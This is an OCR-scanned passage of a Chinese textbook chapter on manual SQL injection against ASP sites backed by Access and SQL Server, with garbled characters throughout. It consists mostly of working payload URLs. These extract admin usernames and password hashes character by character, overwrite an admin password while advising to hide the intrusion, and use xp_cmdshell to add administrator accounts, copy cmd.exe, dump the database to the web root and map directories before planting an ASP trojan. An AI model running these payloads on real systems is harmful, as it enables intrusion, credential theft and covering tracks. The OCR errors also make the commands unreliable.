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继续 猜测 用 户 名 长 度 ,如 图 6-15 所 示 , 在 http://www. xxx. com. cn/detail. asp? 
productid — 392 后 面 加 “and (select top 1 len(admin_name) from adminuser) 二 12”, 返 回 错 
误 页 面 , 说 明 用 户 名 的 长 度 不 大 于 12, 所 以 用 户 名 的 长 度 是 12。 


Tie Bit Vier History Bosmarks leds Help 
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ADODB. Field ifi 


BOF 或 EOF 中 有 一 个 是 “ 真 ”， 惑 埋 当前 的 记录 己 被 误 除 ， 所 下 的 操作 要 求 一 个 当前 的 记录 。 


/detail. asp 行 70 


图 6-15 用 户 名 长 度 不 大 于 12 


前 面 的 测试 过 程 总 结 为 : 如 果 top 1( 第 一 条 记录 ) 的 admin_name 长 度 二 0, 则 条 件 成 立 ; 接 
着 依次 测试 二 1、 二 2 二 3 的 情况 (为 了 加 快 猜测 速度 ,可 以 取 跨 越 值 ,如 过 5、 之 10.>16), 一 直 
到 条 件 不 成 立 为 止 , 比 如 之 11 C 7912 不 成 立 , 就 可 以 得 到 len(admin_name) 一 12。 

得 到 admin. name 的 长 度 以 后 ,用 unicode (substring (admin _name，N，1)) 获 得 
第 N 位 字符 的 ASCH 码 , 比 如 ， 

(1) 猜测 第 1 个 字符 

如 图 6-16 所 示 ,从 productid— 392 and (select top 1 unicode(substring(admin_name, 
1. 1)) from adminuser) 二 0 到 productid=392 and (select top 1 unicode(substringCadmin | 
name.1.1)) from adminuser) —121 显示 正常 。 如 图 6-17 所 示 . productid — 392 and (select 
top 1 unicode ( substring Cadmin. name. 1. 1)) from adminuser) — 122 显示 不 正常 ,得 


第 1 个 字符 是 z( 查 ASCII 码 字 符 表 ,字符 z 的 十 进 制 编码 是 122) 。 


Hile Edit Vie Wstory Bookaarks Tools Map 
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图 6-16 猜测 第 1 个 字符 
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/detail.asp, ff 10 


图 6-17 继续 猜测 第 1 个 字符 


为 了 加 快 猜 测速 度 ,可 以 取 跨 越 值 .如 之 50、. 之 80、 >110 等 ,也 可 以 用 折 半 法 猜测 。 
BS 英文 .数字 和 其 他 可 视 符号 的 ASCII EE 1—128 之 间 。 
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(2) 猜测 第 2 个 字符 

从 productid — 392 and (select top 1 unicode (substring (admin name. 2. 1)) from 
adminuser)- 0 到 productid = 392 and (select top 1 unicode ( substring (admin _ name. 
2. 1)) from adminuser) — 103 显示 正常 ;productid — 392 and (select top 1 unicode 
(substring(admin name. 2. 1)) from adminuser) 7-104 显示 不 正常 ,得 第 2 个 字符 是 h( 查 
ASCI 码 字符 表 , 字 符 h 的 十 进 制 编码 是 104) 。 

(3) 猜测 第 3 个 字符 

从 productid — 392 and (select top 1 unicode(substring (admin_name, 3, 1)) from 
adminuser) 70 到 productid — 392 and (select top 1 unicode (substring (admin. name. 3. 
1)) from adminuser) -110 显示 正常 ;productid 王 392 and (select top 1 unicode( substring 
(admin. name. 3, 1)) from adminuser) 7111 显示 不 正常 ,得 第 3 个 字符 是 o( 查 ASCI 码 
字符 表 , 字 符 o 的 十 进 制 编码 是 111) 。 

按照 上 述 步 又 猜 测 第 4 一 12 个 字符 ,最 终 得 到 用 户 名 是 zhoushanshan。 

表 6-3 给 出 了 Access 和 SQL Server 中 常用 的 函数 及 命令 。 


表 6-3 Access 和 SQL Server 中 常用 的 函数 及 命令 
Access 和 SQL Server 中 常用 的 函数 及 命令 作 M 
Access:asc( 字 符 ) SQL Server:unicode( 字 符 ) 返回 某 字符 的 ASCII 码 
Access:chr( 数 字 ) SQL Server:nchar( 数 字 ) 与 asc 相反 ,根据 ASCII 码 返回 字符 


Access:mid( 字 符 串 ，N, L) SQL Server:substring( 字 符 | 返回 字符 串 从 N 个 字符 起 长 度 为 L 的 子 字符 
申 , N, L) 串 , 即 N 到 N+L 之 间 的 字符 串 


Access:abc( 数 字 ) SQL Server:abc( 数 字 ) 返回 数字 的 绝对 值 ( 在 猜 解 汉字 的 时 候 会 用 到 ) 


Access: A between B And C SQL Server: A between B 
And C 


判断 A 是 否 界 于 了 与 C 之 间 


第 8 步 : 猜测 用 户 密码 。 

按照 猜测 用 户 名 的 方法 猜测 用 户 密 码 . 一 般 情 况 下 ,密码 是 经 MD5 加 密 后 存 人 表 中 
的 ,如 果 成 功 ,得 到 的 也 是 加 密 后 的 密码 ,所 以 还 要 对 密码 进行 破解 。 

第 9 步 : 修改 密码 。 

如 果 破 解密 码 的 难度 很 大 ,那么 可 以 修改 已 经 猜测 的 用 户 名 对 应 的 密码 , 即 : 

http: //www.Xxx.oam.cn/detail.asp? productid- 392; 

update adminuser set admin prd 'a(bGO3800doc5068' where admin neme- 'zhoushandhan';- — 

*a0b923820dcc509a" Æ 1 的 MD5 值 . 即 把 密码 改 成 1: zhoushanshan 为 已 猜测 的 用 户 
名 ,可 以 用 同样 的 方法 把 密码 改 为 原来 的 值 ,目的 是 为 了 不 让 真实 的 zhoushanshan 用 户 发 
现 系统 被 入 侵 了 。 


6.1.2 实例 : 注入 攻击 Access 


本 节 要 注入 网 站 的 一 个 URL Æ: http://www. yyy. com/productDetail c. asp? ID= 
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568 ,由 于 只 是 为 了 介绍 注入 网 站 的 方法 ,并 未 实质 入 侵 该 网 站 ,同时 也 是 为 了 对 该 网 站 保 
密 , 因 此 在 后 面 的 截图 中 隐藏 了 该 网 站 的 相关 信息 。 


98135. 加 单 引 号 。 
如 图 6-18 所 示 ,在 浏览 器 地 址 栏 中 http://www. yyy. com/productDetail c. asp? ID= 


568 后 面 加 一 个 单 引号 , 按 Enter 键 后 ,服务 器 返回 错误 提示 。 


Help 
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€-»- e o I Mttp://ome. approte het orl c ues) 


-FRAR T x 7 
EREN Microsoft JET Database Engine 错误 “80040eld， 
字符 中 的 语法 错误 在 查询 表达 式 “Product. ID-568'" mp. 
AE SMEENEM /productDetail_c. asp» $T 277 


图 6-18 加 单 引 号 
从 返回 的 错误 提示 可 知 : 网 站 使 用 的 是 Access 数据 库 ,通过 JET 引擎 连接 数据 库 而 不 
是 通过 ODBC 来 连接 数据 库 ,该 SQL 语句 所 查询 的 表 中 有 一 名 为 ID 的 字段 ,程序 存在 过 
滤 不 严密 的 问题 (因为 输入 的 单 引 号 被 程序 解析 执行 了 ) 。 


第 2 步 : 测试 “and 1—1", 
如 图 6-19 所 示 ,在 浏览 器 地 址 栏 中 http://www. yyy. com/ productDetail c. asp? ID=568 


后 面 加 “and 1 王 1”, 按 Enter 键 后 ,服务 器 返回 正常 页 面 。 


o EO ~ wozilla Firerox 
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图 6-19 测试 and 1 一 1” 


第 3 步 : 测试 and 1 一 2”。 
如 图 6-20 所 示 ,在 浏览 器 地 址 栏 中 http://www. yyy. com/productDetail c. asp? ID= 


568 后 面 加 “and 1 一 2”, 按 Enter 键 后 ,服务 器 返回 异常 页 面 。 


fü. Elt yie History Bedmekr Tedr Help 
t->- E ride] enfe x tiet BED 站 加 3 


和 前 图 比较 ， 页 面 异 常 


图 6-20 测试 <and 1 一 2” 


第 2 步 和 第 3 步 就 是 经 典 的 1=1、1=2 测试 法 。 
如 果 一 个 网 站 可 以 被 注入 ,那么 第 2 步 显 示 正 常 网 页 ,第 3 步 显示 错误 提示 或 异常 


页 面 。 
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如 果 一 个 网 站 不 可 以 被 注入 ,那么 第 2 步 和 第 3 步 都 会 显示 错误 提示 或 异常 页 面 。 

第 4 步 : 判断 数据 库 类 型 。 

Access 和 SQL Server 都 有 自己 的 系统 表 , 比 如 存放 数据 库 中 所 有 对 象 的 表 : Access 
是 在 系统 表 msysobjects 中 ,但 在 Web 环境 下 读 该 表 会 提示 “没有 权限 ”; SQL Server 是 在 
K sysobjects 中 ,在 Web 环境 下 可 正常 读 取 。 

在 确认 可 以 注入 的 情况 下 ,使 用 下 面 的 语句 : 

http://ww.yyy.om/productDetail c.asp? ID= 568 and (select count(* ) from 

syscbjects)» 0 

如 果 数 据 库 是 Access, 由 于 找 不 到 表 sysobjects, 服 务 器 返回 如 图 6-21 所 示 的 错误 


A ER 

Hile Edit Viw History Bookmarks ode Hdp 

«e-x- e [X t ctDetail_c. asp?2D-558 
EXXREN Microsoft JEI Database Engine 

指 儿 保管 俏 ) 柜 系列 Microsoft Jet 数据 库 引 军 找 不 到 输入 表 或 查询 “sysobjects'。 确定 它 是 否 存 在 ， 以 及 它 的 名 

SE. 2uxzwxy 。。。 称 的 拼写 是 否 正确 。 

FASES GER. /productDetail c.asp, ff 217 
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图 6-21 select count( * ) from sysobjects 


使 用 下 面 的 语句 : 

http://www.yyy.om/productDetail c.asp? ID= 568 and (select count(* ) from 

msysobjects)» 0 

如 果 是 Access 数据 库 ,服务器 会 返回 错误 提示 “在 'msysobjects' 上 没有 读 取 数据 权限 ”， 
如 图 6-22 所 示 ,如 果 Web 程序 有 容错 能 力 ,那么 服务 器 返回 的 页 面 也 会 与 原 页 面 不 同 。 


Pile Edit View Mistery Bookmarks Tools Help 
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EE Microsoft JET Database Engine $8% 80040000" 
8528 G8)E I 不 能 读 取 记录 ， 在 “nsysobjects” 上 没有 该 取 数 据 权限 。 
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图 6-22 select count( * ) from msysobjects 


由 上 可 以 判断 数据 库 用 的 是 Access。 

第 5 步 : 猜测 表 名 。 

猜测 表 名 时 也 可 以 使 用 如 下 形式 : 

http:/ /wi-yyy-can/productDetail c.asp? ID-568 amd (select oomt (* ) fram admin)» — 0 


http://www. yyy. com/productDetail c. asp? ID = 568 and exists (select * from 


admin) 是 向 数据 库 查 询 是 否 存在 admin 表 . 如 果 存 在 则 返回 正常 页 面 .不 存在 会 返回 错误 


提示 ,如 此 循环 ,直至 猜测 到 表 名 为 止 。 
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返回 正常 页 面 时 ,猜测 到 管理 员 表 是 admin。 

K 6-2 列 出 了 常见 的 管理 员 表 名 ,猜测 时 仅 供 参考 。 

第 6 步 : 猜测 字段 名 (用 户 名 和 密码 字段 ) 。 

表 名 猜 出 来 后 ,将 count( * ) 替 换 成 count( 字 段 名 ) ,用 同样 的 原理 猜 解 字段 名 。 
首先 猜测 用 户 名 字段 : 


WwW.YYY.COVProduactDetail c.asp? ID= 568 and (select cant (username) frm admin)» — 0 


www. yyy. com/productDetail c. asp? ID = 568 and exists ( select username from 
admin) 返 回 正常 页 面 , 则 用 户 名 字段 猜测 成 功 ,用 户 名 字段 名 是 username, 
然后 猜测 密码 字段: 


Www.YYY.CIVproductDetail c.asp? ID= 568 and (select count (password) fram admin)>=0 

www. yyy. com/productDetail c. asp? ID = 568 and exists (select password from 
admin) 返 回 正常 页 面 , 则 密码 字段 猜测 成 功 , 密 码 字 段 名 是 password. 

K 6-2 列 出 了 常见 的 账户 字段 名 称 和 密码 字段 名 称 ,猜测 时 仅 供 参 考 。 

第 7 步 : 猜测 用 户 名 。 

已 知 表 admin 中 存在 username 字段 ,下 面 使 用 ASCI 逐 字 解码 法 猜测 用 户 名 。 

猜测 用 户 名 的 长 度 : 

www. yyy. com/productDetail c. asp? ID=568 and (select top 1 lenCusername) from 
admin) >4 返回 正常 页 面 ;www. yyy. com/productDetail c. asp? ID—568 and (select top 1 
lenCusername) from admin) —5 返回 不 正常 页 面 .可 知 用 户 名 长 度 是 5。 

在 得 到 用 户 名 长 度 后 ,用 asc (mid Cusername, N, 1)) 获 得 第 N 位 字符 的 ASCI 码 。 

(1) 猜测 第 1 个 字符 

从 ID=568 and (select top 1 asc (mid (username, 1. 1)) from admin)>0 到 ID=568 
and (select top 1 asc (mid (username, 1. 1)) from admin) 796 显示 正常 ,而 ID=568 and 
(select top 1 asc (mid (username, 1. 1)) from admin) 797 显示 不 正常 ,得 第 1 个 字符 是 a 
( 查 ASCI 码 字 符 表 , 字 符 a 的 十 进 制 编码 是 97) 。 

(2) 猜测 第 2 个 字符 

从 ID=568 and (select top 1 asc (mid (username, 2. 1)) from admin) 二 0 到 ID—568 
and (select top 1 asc (mid (username, 2. 1)) from admin) 799 显示 正常 ,而 ID—568 and 
(select top 1 asc (mid (username, 2. 1)) from admin) 100 显示 不 正常 ,得 第 2 个 字符 是 
d( 查 ASCI 码 字符 表 , 字 符 d 的 十 进 制 编码 是 100), 

(3) 猜测 第 3 个 字符 

从 ID=568 and (select top 1 asc (mid (username, 3. 1)) from admin) >0 到 ID 一 568 
and (select top 1 asc (mid (username, 3. 1)) from admin) 7108 显示 正常 ,而 ID 王 568 and 
(select top 1 asc (mid (username, 3. 1)) from admin) 7109 显示 不 正常 ,得 第 3 个 字符 是 
m( 查 ASCI 码 字 符 表 ,字符 m 的 十 进 制 编码 是 109) 。 


(4) 猜测 第 4 个 字符 


从 ID=568 and (select top 1 asc (mid (username, 4. 1)) from admin) 0 到 ID—568 
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and (select top 1 asc (mid (username, 4, 1)) from admin) 过 104 显示 正常 ,而 ID—568 and 
(select top 1 asc (mid (username, 4. 1)) from admin) 7105 显示 不 正常 ,得 第 4 个 字符 是 
ICE ASCI 码 字 符 表 ,字符 i 的 十 进 制 编码 是 105) 。 

(5) 猜测 第 5 个 字符 

从 ID— 568 and (select top 1 asc (mid (username, 5. 1)) from admin) 70 到 ID 一 568 
and (select top 1 asc (mid (username, 5. 1)) from admin) —109 显示 正常 ,而 ID—568 and 
(select top 1 asc (mid (username, 5. 1)) from admin) 7110 显示 不 正常 ,得 第 5 个 字符 是 
nO ASCI 码 字符 表 , 字 符 n 的 十 进 制 编码 是 110) 。 

最 终 得 到 的 用 户 名 是 admins 

K 6-3 给 出 了 Access 和 SQL Server 中 常用 的 函数 及 命令 。 

第 8 步 : 猜测 用 户 密码 。 

已 知 表 admin 中 存在 password 字段 ,下 面 猜测 用 户 admin 的 密码 。 

猜测 密码 的 长 度 : www. yyy. com/productDetail c. asp? ID—568 and (select top 1 len 
(password) from admin) >15 返回 正常 页 面 , www. yyy. com/productDetail c. asp? ID= 
568 and (select top 1 len( password) from admin) >16 返回 不 正常 页 面 , 可 知 用 户 admin 的 
密码 长 度 是 16(MD5 加 密 后 的 ) 。 

在 得 到 用 户 admin 的 密码 长 度 后 ,就 可 以 用 asc (mid (password. N,，1)) 获 得 第 N 位 
字符 的 ASCII 码 。 

(1) 猜测 第 1 个 字符 

从 ID=568 and (select top 1 asc (mid (password, 1. 1)) from admin)>0 到 ID—568 
and (select top 1 asc (mid (password. 1. 1)) from admin) 756 显示 正常 ,而 ID— 568 and 
(select top 1 asc (mid (password. 1. 1)) from admin) 757 显示 不 正常 ,得 第 1 个 字符 
是 9( 查 ASCI 码 字 符 表 , 字 符 9 的 十 进 制 编码 是 57) 。 

(2) 猜测 第 2 个 字符 

从 ID=568 and (select top 1 asc (mid (password. 2. 1)) from admin) 70 到 ID—568 
and (select top 1 asc (mid (password. 2. 1)) from admin) 756 显示 正常 ,而 ID— 568 and 
(select top 1 asc (mid (password. 2. 1)) from admin) 7757 显示 不 正常 ,得 第 2 个 字符 
是 9( 查 ASCI 码 字 符 表 ,字符 9 的 十 进 制 编码 是 57) 。 

(3) 猜测 第 3 个 字符 

从 ID—568 and (select top 1 asc (mid (password. 3. 1)) from admin) —0 到 ID=568 
and (select top 1 asc (mid (password. 3. 1)) from admin) 750 显示 正常 ,而 ID—568 and 
(select top 1 asc (mid (password. 3. 1)) from admin) 751 显示 不 正常 ,得 第 3 个 字符 
是 3( 查 ASCI 码 字 符 表 , 字 符 3 的 十 进 制 编码 是 5D. 

(4) 猜测 第 4 个 字符 

从 ID—568 and (select top 1 asc (mid (password. 4. 1)) from admin) 70 到 ID=568 
and (select top 1 asc (mid (password. 4. 1)) from admin) 7796 显示 正常 ,而 ID 一 568 and 
(select top 1 asc (mid (password. 4. 1)) from admin) 797 显示 不 正常 ,得 第 4 个 字符 
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是 a( 查 ASCI 码 字符 表 , 字 符 a 的 十 进 制 编码 是 97) 。 

(5) 猜测 第 5 个 字符 

从 ID=568 and (select top 1 asc (mid (password. 5. 1)) from admin) 70 到 ID—568 
and (select top 1 asc (mid (password. 5. 1)) from admin) 750 显示 正常 ,而 ID—568 and 
(select top 1 asc (mid (password. 5. 1)) from admin) 751 显示 不 正常 ,得 第 5 个 字符 是 3 
( 查 ASCI 码 字符 表 , 字 符 3 的 十 进 制 编码 是 51) 。 

(6) 猜测 第 6 个 字符 

从 ID—568 and (select top 1 asc (mid (password. 6. 1)) from admin) 70 到 ID—568 
and (select top 1 asc (mid (password. 6. 1)) from admin) 753 显示 正常 ,而 ID 一 568 and 
(select top 1 asc (mid (password. 6. 1)) from admin) 754 显示 不 正常 ,得 第 6 个 字符 是 6 
Git ASCI 码 字符 表 , 字 符 6 的 十 进 制 编码 是 54) 。 

(7) 猜测 第 7 个 字符 

从 ID=568 and (select top 1 asc (mid (password. 7. 1)) from admin) 二 0 到 ID—568 
and (select top 1 asc (mid (password. 7. 1)) from admin) 753 显示 正常 ,而 ID==568 and 
(select top 1 asc (mid (password. 7. 1)) from admin) 7754 显示 不 正常 ,得 第 7 个 字符 是 6 
Cf ASCI 码 字 符 表 , 字 符 6 的 十 进 制 编码 是 54) 。 

(8) 猜测 第 8 个 字符 

从 ID—568 and (select top 1 asc (mid (password. 8. 1)) from admin)>0 到 ID—568 
and (select top 1 asc (mid (password. 8. 1)) from admin) 7101 显示 正常 ,而 ID— 568 and 
(select top 1 asc (mid (password. 8. 1)) from admin) 7102 显示 不 正常 ,得 第 8 个 字符 是 
[Git ASCI 码 字 符 表 , 字 符 {的 十 进 制 编码 是 102) 。 

(9) 猜测 第 9 个 字符 

从 ID—568 and (select top 1 asc (mid (password. 9. 1)) from admin) 70 到 ID—568 
and (select top 1 asc (mid (password. 9. 1)) from admin) 753 显示 正常 ,而 ID 王 568 and 
(select top 1 asc (mid (password. 9. 1)) from admin) 7754 显示 不 正常 ,得 第 9 个 字符 是 6 
( 查 ASCI 码 字 符 表 , 字 符 6 的 十 进 制 编码 是 54) 。 

(10) 猜测 第 10 个 字符 

从 ID=568 and (select top 1 asc (mid (password. 10. 1)) from admin) 70 到 ID= 
568 and (select top 1 asc (mid (password. 10. 1)) from admin) ^48 显示 正常 ,而 ID=568 
and (select top 1 asc (mid (password. 10. 1)) from admin) 749 显示 不 正常 ,得 第 10 个 字 
符 是 1( 查 ASCI 码 字 符 表 , 字 符 1 的 十 进 制 编码 是 49) 。 

OD 猜测 第 11 个 字符 

从 ID=568 and (select top 1 asc (mid (password. 11. 1)) from admin) —0 到 ID= 
568 and (select top 1 asc (mid (password. 11. 1)) from admin) 101 显示 正常 .而 ID= 
568 and (select top 1 asc (mid (password. 11. 1)) from admin) 102 显示 不 正常 ,得 
第 11 个 字符 是 f( 查 ASC 码 字 符 表 ,字符 {的 十 进 制 编码 是 102). 

a2) 猜测 第 12 个 字符 

从 ID—568 and (select top 1 asc (mid (password. 12. 1)) from admin) —0 到 ID= 
568 and (select top 1 asc (mid (password. 12. 1)) from admin) 99 显示 正常 ,而 ID 一 568 
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and (select top 1 asc (mid (password. 12. 1)) from admin) 7100 显示 不 正常 ,得 第 12 个 
字符 是 d( 查 ASCI 码 字符 表 , 字 符 d 的 十 进 制 编码 是 100). 

(O30 猜测 第 13 个 字符 

从 ID—568 and (select top 1 asc (mid (password. 13. 1)) from admin) 70 到 ID= 
568 and (select top 1 asc (mid (password, 13. 1)) from admin) 752 显示 正常 ,而 ID 一 568 
and (select top 1 asc (mid (password. 13. 1)) from admin) 7753 显示 不 正常 ,得 第 13 个 字 
符 是 5( 查 ASCI 码 字 符 表 , 字 符 5 的 十 进 制 编码 是 53) 。 

(14) 猜测 第 14 个 字符 

从 ID—568 and (select top 1 asc (mid (password, 14. 1)) from admin) 0 到 ID= 
568 and (select top 1 asc (mid (password, 14. 1)) from admin) —48 显示 正常 ,而 ID—568 
and (select top 1 asc (mid (password. 14. 1)) from admin) 7749 显示 不 正常 ,得 第 14 个 字 
符 是 1( 查 ASCI 码 字 符 表 , 字 符 1 的 十 进 制 编码 是 49) 。 

(15) 猜测 第 15 个 字符 

从 ID=568 and (select top 1 asc (mid (password, 15. 1)) from admin) 0 到 ID= 
568 and (select top 1 asc (mid (password. 15. 1)) from admin) 56 显示 正常 ,而 ID— 568 
and (select top 1 asc (mid (password. 15. 1)) from admin) 757 显示 不 正常 ,得 第 15 个 字 
符 是 9( 查 ASCI 码 字 符 表 , 字 符 9 的 十 进 制 编码 是 57) 。 

(16) 猜测 第 16 个 字符 

JA ID—568 and (select top 1 asc (mid (password. 16. 1)) from admin) 70 到 ID= 
568 and (select top 1 asc (mid (password. 16. 1)) from admin) 796 显示 正常 ,而 ID 一 568 
and (select top 1 asc (mid (password. 16. 1)) from admin) 797 显示 不 正常 ,得 第 16 个 字 
符 是 a( 查 ASCII 码 字符 表 , 字 符 a 的 十 进 制 编码 是 97) 。 

最 终 得 到 MD5 密码 是 993a366f61fd519a, 然 后 要 对 密码 进行 破解 。 


B+E 猜 解 Access 时 只 能 用 ASCII 逐 字 解码 法 ,SQL Server 也 可 以 用 这 种 方 
法 ,但 是 如 果 能 用 MS SQL Server 的 报错 信息 把 相关 信息 暴露 出 来 ,会 极 大 地 提高 效率 
和 准确 率 。 


6.1.3 SQL 注入 式 攻击 的 原理 及 技术 汇总 


SQL(Structured Query Language, 结 构 化 查询 语言 ) 语 言 能 够 访问 数据 库 , SQL 语言 
有 很 多 不 同 的 版 本 ,它们 对 相同 的 关键 字 (SELECT、UPDATE、DELETE INSERT, 
CREATE,ALTER 和 DROP) 有 相似 的 使 用 方式 ,当前 的 主流 SQL 语言 是 SQL 99。SQL 
能 够 执行 获取 数据 库 的 信息 、 对 数据 库 查询 ,向 数据 库 中 插入 新 的 记录 、 删 除数 据 库 中 的 记 
录 和 更 新 数据 库 中 的 记录 等 操作 。 

SQL 注入 式 攻击 就 是 把 SQL 命令 插入 到 Web 表单 的 输入 域 或 页 面 的 网 址 (URL) 中 ， 
欺骗 服务 器 执行 恶意 的 SQL 命令 。 


1. 数据 库 系 统 
数据 库 系统 分 为 数据 库 和 数据 库 管理 系统 : 数据 库 是 存放 数据 的 地 方 ,数据库 管理 系 
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统 是 管理 数据 库 的 软件 。 

数据 库 中 数据 的 存储 结构 称 为 数据 模型 ,有 4 种 常见 的 数据 模型 : 层次 模型 .网 状 模 
型 .关系 模型 和 面向 对 象 模型 。 其 中 关系 模型 是 最 主要 的 数据 模型 。 

MS Access, MS SQL Server, Oracle, MySQL, Postgres, Sybase, Infomix 和 DB2 等 都 

表 是 一 个 关系 数据 库 的 基本 组 成 元 素 , 将 相关 信息 按 行 和 列 组 合 排列 , 行 称 为 记录 , 列 
称 为 域 ,每 个 域 称 为 一 个 字段 ,每 条 记录 都 由 多 个 字段 组 成 ,每 个 字段 的 名 字 称 为 字段 名 ,每 
个 字段 的 值 称 为 字段 值 , 表 中 的 每 一 行 ( 即 每 一 条 记录 ) 都 拥有 相同 的 结构 。 


2. SQL 注入 的 条 件 


SQL 注入 攻击 是 一 种 利用 用 户 输入 构造 SQL 语句 的 攻击 。 如 果 Web 应 用 程序 没有 
适当 地 检测 用 户 输入 的 信息 ,攻击 者 就 有 可 能 改变 后 台 执 行 的 SQL 语句 的 结构 。 由 于 程序 
运行 SQL 语句 时 的 权限 与 当前 该 组 件 ( 如 数据 库 服务 器 、Web 服务 器 等 ) 的 权限 相同 ,而 这 
些 组 件 一 般 的 运行 权限 都 很 高 ,而且 经 常 是 以 管理 员 的 权限 运行 ,所 以 攻击 者 获得 数据 库 的 
完全 控制 权 后 ,就 可 能 执行 系统 命令 。SQL 注入 是 现今 存在 最 广泛 的 Web 漏洞 之 一 ,是 存 
在 于 Web 应 用 程序 开发 中 的 漏洞 ,不 是 数据 库 本 身 的 问题 。 

只 有 调用 数据 库 的 动态 页 面 才 有 可 能 存在 注入 漏洞 ,动态 页 面包 括 ASP, JSP, PHP, 
Perl 和 CGI 等 。 当 访问 一 个 网 页 时 ,如 果 URL 中 包含 “asp? id=”,“php? id 一 ”或 者 “jsp? 
id 二 ”等 类 似 内 容 ,那么 此 时 就 是 调用 数据 库 的 动态 页 面 了 ,“?” 后 面 的 id 称 为 变量 “一 ”后 
面 的 值 称 为 参数 。 

注入 漏洞 存在 的 一 个 重要 条 件 是 程序 对 用 户 提 交 的 变量 没有 进行 有 效 地 过 滤 , 就 直接 
放 入 SQL 语句 中 。 

据 统 计 , 网 站 用 ASP 十 MS Access 或 MS SQL Server 的 占 70% 以 上 ,PHP 十 MySQL 
的 占 20% ,其 他 的 不 到 10%。 


3. 数据 库 手工 注入 过 程 


下 面 主 要 介绍 对 ASP 页 面 的 注入 。 

(1) 寻找 注入 点 

(2) 判断 数据 库 类 型 

找到 注入 点 后 , 接 下 来 就 要 判断 注入 点 连接 的 数据 库 类 型 ,下 面 介绍 几 种 判断 数据 库 类 
型 的 方法 。 

(D 在 注入 点 后 直接 加 上 单 引 号 。 

@ 在 注入 点 后 加 上 “; 一 (一 个 分 号 ,两 个 连 字 符 ) 。 

@ 利用 系统 表 。 

@ 利用 数据 库 服务 器 的 系统 变量 。 

(3) HWRE FREA) WRA FEKE 

CO 猜测 表 名 。 用 到 的 语句 : and exists (select count( * ) from 要 猜测 的 表 名 ) 。 

© 猜测 列 名 。 用 到 的 语句 : and (select count( 列 名 ) from 猜测 到 的 表 名 ) 二 0。 

© 猜测 记录 数 。 用 到 的 语句 : and (select count( * ) from Jf dll S] 893€ 4 0 — X CX 是 个 


iem 
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BU. 

@ 猜测 字段 长 度 。 用 到 的 语句 : and Cselect top 1 len( 列 ) from FWA RA) — XCX 
ETAF) 

C 猜测 用 户 名 与 密码 。 猜 用 户 名 与 密码 最 常用 也 是 最 有 效 的 方法 是 ASCII 码 逐 字 解 
码 法 ,虽然 这 种 方法 速度 较 慢 ,但 肯定 是 可 行 的 。 基 本 思路 是 先 猜 出 字段 的 长 度 ,然后 依次 
猜 出 每 一 位 的 值 。 猜 用 户 名 与 猜 密 码 的 方法 相同 。 

(4) 确定 XP_CMDSHELL 可 执行 情况 

若 当前 连接 数据 库 的 账号 具有 sa 权限 , 且 master. dbo. xp_cmdshell 扩展 存储 过 程 ( 调 
用 此 存储 过 程 可 以 直接 使 用 操作 系统 的 shell) 能 够 正确 执行 , 则 可 以 通过 以 下 几 种 方法 完 
全 控制 整个 计算 机 。 

(D http://www. xxx. edu. cn/test. asp? id— YY and user 盖 0。 显示 异常 页 面 ,但 是 可 
以 得 到 当前 连接 数据 库 的 用 户 名 ,如 果 显 示 dbo 则 表示 当前 连接 数据 库 的 用 户 是 sa。 

Q) http://www. xxx. edu. cn/test. asp? id— YY and db_name() 二 0。 显 示 异 常 页 面 ， 
但 是 可 以 得 到 当前 连接 的 数据 库 名 。 

G) http://www. xxx. edu. cn/test. asp? id=YY ;exec master. . xp_cmdshell "net user 
name password/ add" 一 。 可 以 添加 操作 系统 账户 name, 密 码 为 password, 

QD http://www. xxx. edu. cn/test. asp? id = YY; exec master.. xp_cmdshell " net 
localgroup administrators name/add" 一 。 把 刚 添加 的 账户 name 加 入 到 administrators 
组 中 。 

© http://www. xxx. edu. cn/test. asp? id= YY; backuup database 数据 库 名 to disk = 
'c:\inetpub\ wwwrootVaa. db'。 

数据 库 名 在 第 2 步 得 到 。 

把 数据 库 内 容 全 部 备份 到 Web 目录 下 ,再 用 HTTP 把 此 文件 下 载 ( 当 然 首 先 要 知道 
Web 虚拟 目录 ) 。 

© http://www. xxx. edu. cn/test. asp? id— YY ;exec master. dbo. xp_cmdshell "copy 
c: NwinntN system32Vemd. exe c; VinetpubVscriptsVemd. exe". 8] Æ UNICODE 漏洞 ,通过 
利用 此 漏洞 ,可 以 控制 整个 计算 机 (当然 首先 要 知道 Web 虚拟 目录 ) 。 

至 此 ,就 成 功 地 完成 了 一 次 SQL 注入 攻击 。 

(5) 寻找 Web 虚拟 目录 

如 果 XP_CMDSHELL 不 可 以 执行 ,那么 需要 寻找 Web 虚拟 目录 。 

只 有 找到 Web 虚拟 目录 ,才能 确定 放置 ASP 木马 的 位 置 ,进而 得 到 USER 权限 。 一 般 
来 说 ,Web 虚拟 目录 是 c:\inetpub\wwwroot, d: \inetpub\wwwroot 或 d: Nwwwroot 等 ,可 
执行 虚拟 目录 是 c:\inetpub\scripts、d:\inetpub\scripts 或 e:\inetpub\scripts 等 。 

如 果 Web 虚拟 目录 不 是 上 面 所 列 , 则 要 遍历 系统 的 目录 结构 ,分析 结果 并 发 现 Web Hg 
拟 目 录 。 具 体操 作 步 又 如 下 。 

58 125; 创建 一 个 临时 表 temp. 


http://www. xxx. edu. cn/test. asp? id= YY; create table temp (id nvarchar (255), mml nvarchar (255), num? 


nvarchar (255), mm3 nvarchar (255) ) ;- — 
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第 2 步 : 利用 xp_availablemedia 来 获得 当前 所 有 驱动 器 ,并 存 人 temp 表 中 。 


http://www.xxx.edu.cn/test.asp? id= YY;insert temp exec master.dbo.xp - 
availablemedia;- - 

可 以 通过 查询 temp 的 内 容 来 获得 驱动 器 列表 及 相关 信息 。 

第 3 步 : 利用 xp_subdirs 获得 子 目录 列表 ,并 存 人 temp 表 中 。 


http://www.xxx.edu.cn/test.asp?id- YY; insert into temp(id) exec master.dbo.xp subdirs 'c:V';- — 
第 4 步 : 利用 xp_dirtree 获得 所 有 子 目录 的 目录 树 结构 ,并 存 和 人 temp 表 中 。 
http: //wwi.xxx.edu.cn/test.asp? id= YY;insert into temp(id, numl) exec master.dbo.xp dirtree 'c:V';- — 
这 样 就 可 以 成 功 地 浏览 到 所 有 的 目录 (文件 夹 ) 列 表 。 
BR 以 上 每 完成 一 项 浏览 ,应 删除 temp 表 中 的 所 有 内 容 , 删 除 方法 是 : 
http://ww.xxx.edu.cn/test.asp? id= YY;delete fram temp;- — 


(6 上 传 ASP 木马 

所 谓 ASP 木马 ,就 是 一 段 有 特殊 功能 的 ASP 代码 ,被 放 入 可 执行 虚拟 目录 下 ,远程 客 
